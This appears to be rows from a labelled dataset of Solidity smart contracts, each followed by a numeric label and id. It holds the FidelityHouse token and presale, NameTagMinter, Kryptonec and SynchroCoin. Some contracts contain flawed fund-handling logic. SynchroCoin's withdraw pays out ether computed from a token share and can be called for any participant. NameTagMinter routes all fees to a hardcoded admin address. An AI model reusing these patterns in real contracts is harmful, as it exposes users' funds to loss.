balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract MintAndLockCrowdsale is Crowdsale {
uint256 public totalRate;
uint256 public bonusRate;
constructor(uint256 _bonusRate) public {
bonusRate = _bonusRate;
totalRate = rate.add(_getBonusAmount(rate));
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
uint256 bonus = _getBonusAmount(tokens);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens.add(bonus)
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _getBonusAmount(
uint256 _tokenAmount
)
internal
view
returns (uint256)
{
return _tokenAmount.mul(bonusRate).div(100);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
FidelityHouseToken(address(token)).mintAndLock(_beneficiary, _tokenAmount);
if (bonusRate > 0) {
FidelityHouseToken(address(token)).mint(_beneficiary, _getBonusAmount(_tokenAmount));
}
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
}
contract DefaultCrowdsale is TimedCrowdsale, TokenRecover {
Contributions public contributions;
uint256 public minimumContribution;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _minimumContribution,
address _token,
address _contributions
)
Crowdsale(_rate, _wallet, ERC20(_token))
TimedCrowdsale(_openingTime, _closingTime)
public
{
require(
_contributions != address(0),
"Contributions address can't be the zero address."
);
contributions = Contributions(_contributions);
minimumContribution = _minimumContribution;
}
function started() public view returns(bool) {
return block.timestamp >= openingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(
_weiAmount >= minimumContribution,
"Can't send less than the minimum contribution"
);
require(
contributions.isAllowedPurchase(_beneficiary, _weiAmount),
"Beneficiary is not allowed to purchase this amount"
);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions.addEthContribution(_beneficiary, _weiAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
super._processPurchase(_beneficiary, _tokenAmount);
contributions.addTokenBalance(_beneficiary, _tokenAmount);
}
}
contract FidelityHousePresale is DefaultCrowdsale, CappedCrowdsale, MintAndLockCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _bonusRate,
address _wallet,
uint256 _cap,
uint256 _minimumContribution,
address _token,
address _contributions
)
DefaultCrowdsale(
_openingTime,
_closingTime,
_rate,
_wallet,
_minimumContribution,
_token,
_contributions
)
CappedCrowdsale(_cap)
MintAndLockCrowdsale(_bonusRate)
public
{}
function ended() public view returns(bool) {
return hasClosed() || capReached();
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
super._processPurchase(_beneficiary, _tokenAmount);
if (bonusRate > 0) {
contributions.addTokenBalance(_beneficiary, _getBonusAmount(_tokenAmount));
}
}
} | 1 | 3,777 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NameTagMinter {
address[] newContracts;
address constant private Admin = 0x92Bf51aB8C48B93a96F8dde8dF07A1504aA393fD;
uint FIW;
uint mult;
function createContract (bytes32 YourName,bytes32 YourInitialsOrSymbol) public payable{
address addr=0x6096B8D46E1e4E00FA1BEADFc071bBE500ED397B;
address addrs=0xE80cBfDA1b8D0212C4b79D6d6162dc377C96876e;
address Tummy=0x820090F4D39a9585a327cc39ba483f8fE7a9DA84;
address Willy=0xA4757a60d41Ff94652104e4BCdB2936591c74d1D;
address Nicky=0x89473CD97F49E6d991B68e880f4162e2CBaC3561;
address Artem=0xA7e8AFa092FAa27F06942480D28edE6fE73E5F88;
if (msg.sender==Admin || msg.sender==Tummy || msg.sender==Willy || msg.sender==Nicky || msg.sender==Artem){
}else{
VIPs Mult=VIPs(addrs);
mult=Mult.IsVIP(msg.sender);
Fees fee=Fees(addr);
FIW=fee.GetFeeNTM();
require(msg.value >= FIW*mult);
}
Admin.transfer(msg.value);
address Sender=msg.sender;
address newContract = new Contract(YourName,YourInitialsOrSymbol,Sender);
newContracts.push(newContract);
}
}
contract VIPs {
function IsVIP(address Address)returns(uint Multiplier);
}
contract Fees {
function GetFeeNTM()returns(uint);
}
contract Contract is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Contract (bytes32 YourName,bytes32 YourInitialsOrSymbol,address Sender) public {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(YourName) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
bytes memory bytesStringsw = new bytes(32);
uint charCountsw = 0;
for (uint k = 0; k < 32; k++) {
byte charsw = byte(bytes32(uint(YourInitialsOrSymbol) * 2 ** (8 * k)));
if (charsw != 0) {
bytesStringsw[charCountsw] = charsw;
charCountsw++;
}
}
bytes memory bytesStringTrimmedsw = new bytes(charCountsw);
for (k = 0; k < charCountsw; k++) {
bytesStringTrimmedsw[k] = bytesStringsw[k];
}
symbol = string(bytesStringTrimmedsw);
name = string(bytesStringTrimmed);
decimals = 0;
_totalSupply = 1;
balances[Sender] = _totalSupply;
emit Transfer(address(0), Sender, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,433 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Kryptonec is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Kryptonec";
string public constant symbol = "KRY";
uint public constant decimals = 18;
uint256 public totalSupply = 10000000000e18;
uint256 public totalDistributed = 0;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 100;
uint256 public tokensPerEth = 10000000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Kryptonec () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN_CONTRIBUTION );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,973 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SynchroCoin is Ownable, StandardToken {
string public constant symbol = "SYC";
string public constant name = "SynchroCoin";
uint8 public constant decimals = 12;
uint256 public STARTDATE;
uint256 public ENDDATE;
uint256 public crowdSale;
address public multisig;
function SynchroCoin(
uint256 _initialSupply,
uint256 _start,
uint256 _end,
address _multisig) {
totalSupply = _initialSupply;
STARTDATE = _start;
ENDDATE = _end;
multisig = _multisig;
crowdSale = _initialSupply * 55 / 100;
balances[multisig] = _initialSupply;
}
uint256 public totalFundedEther;
uint256 public totalConsideredFundedEther = 338;
mapping (address => uint256) consideredFundedEtherOf;
mapping (address => bool) withdrawalStatuses;
function calcBonus() public constant returns (uint256){
return calcBonusAt(now);
}
function calcBonusAt(uint256 at) public constant returns (uint256){
if (at < STARTDATE) {
return 140;
}
else if (at < (STARTDATE + 1 days)) {
return 120;
}
else if (at < (STARTDATE + 7 days)) {
return 115;
}
else if (at < (STARTDATE + 14 days)) {
return 110;
}
else if (at < (STARTDATE + 21 days)) {
return 105;
}
else if (at <= ENDDATE) {
return 100;
}
else {
return 0;
}
}
function() public payable {
proxyPayment(msg.sender);
}
function proxyPayment(address participant) public payable {
require(now >= STARTDATE);
require(now <= ENDDATE);
require(msg.value >= 100 finney);
totalFundedEther = totalFundedEther.add(msg.value);
uint256 _consideredEther = msg.value.mul(calcBonus()).div(100);
totalConsideredFundedEther = totalConsideredFundedEther.add(_consideredEther);
consideredFundedEtherOf[participant] = consideredFundedEtherOf[participant].add(_consideredEther);
withdrawalStatuses[participant] = true;
Fund(
participant,
msg.value,
totalFundedEther
);
multisig.transfer(msg.value);
}
event Fund(
address indexed buyer,
uint256 ethers,
uint256 totalEther
);
function withdraw() public returns (bool success){
return proxyWithdraw(msg.sender);
}
function proxyWithdraw(address participant) public returns (bool success){
require(now > ENDDATE);
require(withdrawalStatuses[participant]);
require(totalConsideredFundedEther > 1);
uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther);
participant.transfer(share);
withdrawalStatuses[participant] = false;
return true;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(now > ENDDATE);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public
returns (bool success)
{
require(now > ENDDATE);
return super.transferFrom(_from, _to, _amount);
}
} | 1 | 2,961 |
